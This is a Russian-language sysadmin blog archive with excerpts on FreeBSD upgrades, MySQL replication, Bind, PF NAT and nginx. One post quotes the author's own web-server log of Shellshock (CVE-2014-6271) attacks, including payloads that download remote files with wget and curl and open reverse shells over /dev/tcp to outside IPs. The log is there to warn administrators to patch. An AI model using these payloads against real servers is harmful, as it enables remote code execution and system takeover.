Archive for the ‘ BSD ’ Category

MySQL — master/slave replication error «Duplicate entry»

Не так давно в очередной раз отвалилась MySQL реплика!
Казалось бы репликация в mysql за многие годы должна быть вылизана до идеала, но почемуто на практике это не так. Очень часто репликация master/slave в MySQL отваливается с ошибкой:

2014-09-26 08:57:14 42399 [ERROR] Slave SQL: Could not execute Write_rows_v1 event on table diff_wp.wp_options; Duplicate entry '_transient_is_multi_author' for key 'option_name', Error_code: 1062; handler error HA_ERR_FOUND_DUPP_KEY; the event's master log mysql-bin.000051, end_log_pos 128112, Error_code: 1062
2014-09-26 08:57:14 42399 [ERROR] Error running query, slave SQL thread aborted. Fix the problem, and restart the slave SQL thread with "SLAVE START". We stopped at log 'mysql-bin.000051' position 127907

У меня уже такое было, и я писал что на тот момент нашел временное решение. Но почему временное? Просто не было времени разбираться, а разобравшись … понял что тот вариант не совсем мне подходил. Итак, вариантов решения много — выбирай что нравится! Читать полностью

Уязвимость в bash CVE-2014-6271 (ShellShock) — какеры атакуют :)

Как говорится … «не прошло и недели», как школота уже вовсю юзает недавно обнаруженную столетнюю дыру в bash. Я уже писал заметку об этой серьезной уязвимости. Данный же пост для тех толстокожих админов кто думает «А мне все пофиг, я сделан из мяса …» или так «Обновления придумали глупые программеры для того чтобы впаривать админам новые глюки старых программ» 🙂 Короче всем неверующим, коротенький листинг лога http сервера, отфильтровано по слову «bash«:

25/Sep/2014:09:22:09 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
25/Sep/2014:22:21:23 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
27/Sep/2014:10:45:27 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (400) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
29/Sep/2014:13:21:13 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"
30/Sep/2014:22:34:04 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22wget http://82.221.105.197/bash-count.txt\x22"
02/Oct/2014:12:29:54 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c 'wget http://185.10.58.175/agent'"
02/Oct/2014:13:17:57 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c '/usr/bin/wget http://185.10.58.175/agent'"
15/Oct/2014:22:13:56 "GET /cgi-bin/gsweb.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:56 "GET /cgi-bin/redirector.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/test.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/index.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/help.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/details.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:00 "GET /cgi-bin/log.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:01 "GET /cgi-bin/viewcontent.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/vidredirect.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/mailview.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/webmail.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/finger.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/click.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:14 "GET /cgi-bin/content.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
20/Oct/2014:16:51:34 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
29/Oct/2014:21:41:45 "GET /cgi-sys/entropysearch.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:45 "GET /cgi-sys/FormMail-clone.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /index.php HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
30/Oct/2014:00:39:42 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (444) "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1"
31/Oct/2014:11:04:10 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
01/Nov/2014:00:02:49 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /tmp;wget 61.156.8.189/use;curl -O

И поверьте, это сервер на котором всего пара захудалых web сайтов с посещением до 10 чел/сутки, на бойких серверах популярных ресурсов таких запросов сотни, ато и тысячи в сутки 🙂
Читайте новости, обновляйтесь, проверяйте свои сервера, мониторьте нагрузку и тд, если не хотите стать участником бот-нета!
Читать полностью

FreeBSD 9.x — Настройка Master/Slave named (Bind9)

Хорошо когда чтолибо работает автоматически и так как хочется! Меньше рутины — больше времени для веселья!
Есть 2 сервера с FreeBSD, на них установлен Bind9 (во FreeBSD он зовется named) и задача — настроить на них Bind в режиме Master/Slave, для того чтобы любые изменения зон на Master автоматически транслировались на Slave. Согласитесь, негоже одни и те же настройки повторять на разных серверах, когда они могу синкаться автоматически 🙂
Читать полностью

FreeBSD 9.2 — Upgrade to 9.3 by SVN

Моя любимая ОС FreeBSD снова поменяла технологию обновления между релизами. На этот раз на мусорку истории попал простой и давно освоенный мной инструмент csup и уже начиная с релиза 9.2 вместо csup при сорцовом апгрейде предлагают использовать svn. Ну чтож, когдато освоили csup, освоим и svn. Итак, обновлялся с 9.2 до 9.3 уже по новомодному:
Сначала удалил старые сорцы/сборки:

root@srv1:~# rm -rf /usr/obj
root@srv1:~# rm -rf /usr/src
root@srv1:~# mkdir /usr/obj
root@srv1:~# mkdir /usr/src

До этого момента думаю все и так ясно, а вот тут финт ушами … svn вместо csup:

root@srv1:~# svn co https://svn0.eu.freebsd.org/base/release/9.3.0/ /usr/src
(this results in Revision: 256108)
root@srv1:~#

Ну и дальше идет все также как я описывал ранее …. с момента настройки /etc/src.conf и далее.
Читать полностью

Roundcube 0.9.5 Upgrade to 1.0.3 — «DB Schema: NOT OK»

Тот кто сталкивался с обновлением Roundcube наверняка знает что обновить его это тот еще гемор 🙂 Вот и в этот раз я столкнулся с трудностями обновления с версии 0.9.5 до 1.0.3. То что конфиги разные и имеют разный формат — это ложка дегтя … ну да ладно. А вот обновления БД всегда были «поребриком» о который спотыкается каждый 🙂 Короче, наткнулся на такую вот ошибку: «DB Schema: NOT OK»
В инсталлере есть кнопочка «Update» которая якобы должна решить эту проблему, вот же она:

Roundcube - Upgrade SQL DB
но какую бы версию я не выбирал — ничего Читать полностью

Ошибка в FreeBSD — «Error from bsd.apache.mk. apache22 is installed (or APACHE_PORT is defined) and port requires apache.»

При установке mod_php для apache22 нарвался на вот такую ошибку:

root@ns:/usr/ports/www/mod_php56# make install clean
===>  mod_php56-5.6.2 is marked as broken: : Error from bsd.apache.mk. apache22 is installed (or APACHE_PORT is defined) and port requires apache.
*** [install] Error code 1

Stop in /usr/ports/www/mod_php56.
root@ns:/usr/ports/www/mod_php56#

Ох уж эта фря … опять чтото ей не нравится 🙁 Решение оказалось простое, нужно добавить опцию DEFAULT_VERSIONS+=apache=2.2 в make.conf
Читать полностью

Серьезная проблема с Bash — срочно обновиться!

Вот так нежданно-негаданно в мире Open Source вылезла еще одна масштабная проблема. Мир еще не успел оправиться от дырок в OpenSSL (все помнят Heartbleed), а тут на тебе — оказывается «фундамент тоже сыроват»! На этот раз свинью подложил Bash! А ведь он основной shell почти во всех дистрибутивах Linux и часто активно юзается админами *BSD! Уловили масштаб трагедии??? Можно подумать, ну баш и баш — что такого то? Проблема в том что он так или иначе связан с серьезными системными сервисами, например sshd, apache, git, некоторыми ftp и тд. Не говоря уже о том что ленивые админы и программисты не желая разбираться в хитроумных встроенных библиотеках python, perl и прочих языков в том или ином виде юзают «башизмы в CGI скриптах (сам такой, реализация find в perl выедает мне моск), которые выставлены в Интернет на всеобщее обозрение и легко могут быть использованы со злым умыслом 🙂 Сама суть проблемы в том что злоумышленник может через тот же ssh или apache подменить переменные ENV, что позволит ему удаленно выполнять произвольный код на системе жертвы без какойлибо авторизации! Заманчиво? Глядите на простейшую реализацию хака … простота неописуемая! Но идем дальше … Читать полностью

rspamd — проблемы с патчем для exim-4.84

Итак, с последним обновлением exim в FreeBSD возникла проблемка. Точнее не с самим Exim, а с патчем для интеграции rspamd в Exim. При попытке пропатчить исходники получил вот что: 2 out of 11 hunks failed—saving rejects to src/spam.c.rej
Нагляднее ниже в листинге …. Читать полностью

FreeBSD 9.2 и «хитрый NAT» в PF

Итак, стоит задача пробросить пакеты «с мира» внутрь сети, да еще и «отнатить» их на внутреннем интерфейсе. Для визуализации задачи вот такая схемка:

Host_A (IP 91.91.91.91) -> Host_B (WAN_IP 15.15.15.15 -> LAN_IP 192.168.100.100) -> Host_C (LAN_Router) -> Host_D (IP 172.15.99.99)

Это все довольно просто делается на FreeBSD в PF, если на out политик нету, то достаточно трех правил:

INET_IF = "em0"
INET_LOCAL = "em1"
BACULA_SD = "172.15.99.99"

rdr on $INET_IF proto tcp from 91.91.91.91 to $INET_IF port 9103 -> $BACULA_SD port 9103
nat on $INET_LOCAL from 91.91.91.91 to $BACULA_SD -> $INET_LOCAL
pass in quick log on $INET_IF inet proto tcp from 91.91.91.91 to any port 9103 flags S/SA keep state

Правда провозился я долго, оказалось что тупо забыл включить ip-forwarding 🙂 Читать полностью

FreeBSD — Настройка Nginx + PHP-FPM в chroot

Давно у меня в голове засела идея избавиться от apache2 на своих серверах. Зачем нужен этот древний тяжеленный мамонт? Ради модуля php? Ну так все хостинги давно уже обкатали режим php-fpm -это когда специфически собранный PHP работает сам по себе как сервис для компиляции php файликов. Стабильность и функциональность данного варианта работы PHP отличная! Остается статика, всякие картинки, стили, java-скрипты …. тут среди попсовых решений Nginx впереди планеты всей! Таким образом получаем простенькую систему из PHP-FPM + Nginx способную заменить Apache2 + mod_php + PHP. К тому же для большей безопасности и гибкости в настройке PHP-FPM поддерживает pools — это значит что PHP под каждый отдельный web-ресурс можно сконфигурить отдельно, к примеру сайту #1 дать 64MB RAM, а сайту #5 — 2048MB и тд, а любые превышения лимитов одним пулом не будут влиять на работу других. Для большей безопасности каждый пул можно разместить в его личном chroot-окружении, что на уровне FS изолирует все пулы друг от друга. Сладко??? Тогда в бой!
Установка PHP с флагом FPM:
Устанавливаем порт /usr/ports/lang/php5 с опцией PHP-FPM. При необходимости устанавливаем /usr/ports/lang/php5-extensions
Установка nginx:
Также из портов устанавливаем nginx, у меня он собран с такими опциями:

HTTP=on: Enable HTTP module
HTTP_ADDITION=on: Enable http_addition module
HTTP_CACHE=on: Enable http_cache module
HTTP_GZIP_STATIC=on: Enable http_gzip_static module
HTTP_GUNZIP_FILTER=on: Enable http_gunzip_filter module
HTTP_IMAGE_FILTER=on: Enable http_image_filter module
HTTP_PERL=on: Enable http_perl module
HTTP_REALIP=on: Enable http_realip module
HTTP_REWRITE=on: Enable http_rewrite module
HTTP_STATUS=on: Enable http_stub_status module
WWW=on: Enable html sample files

Читать полностью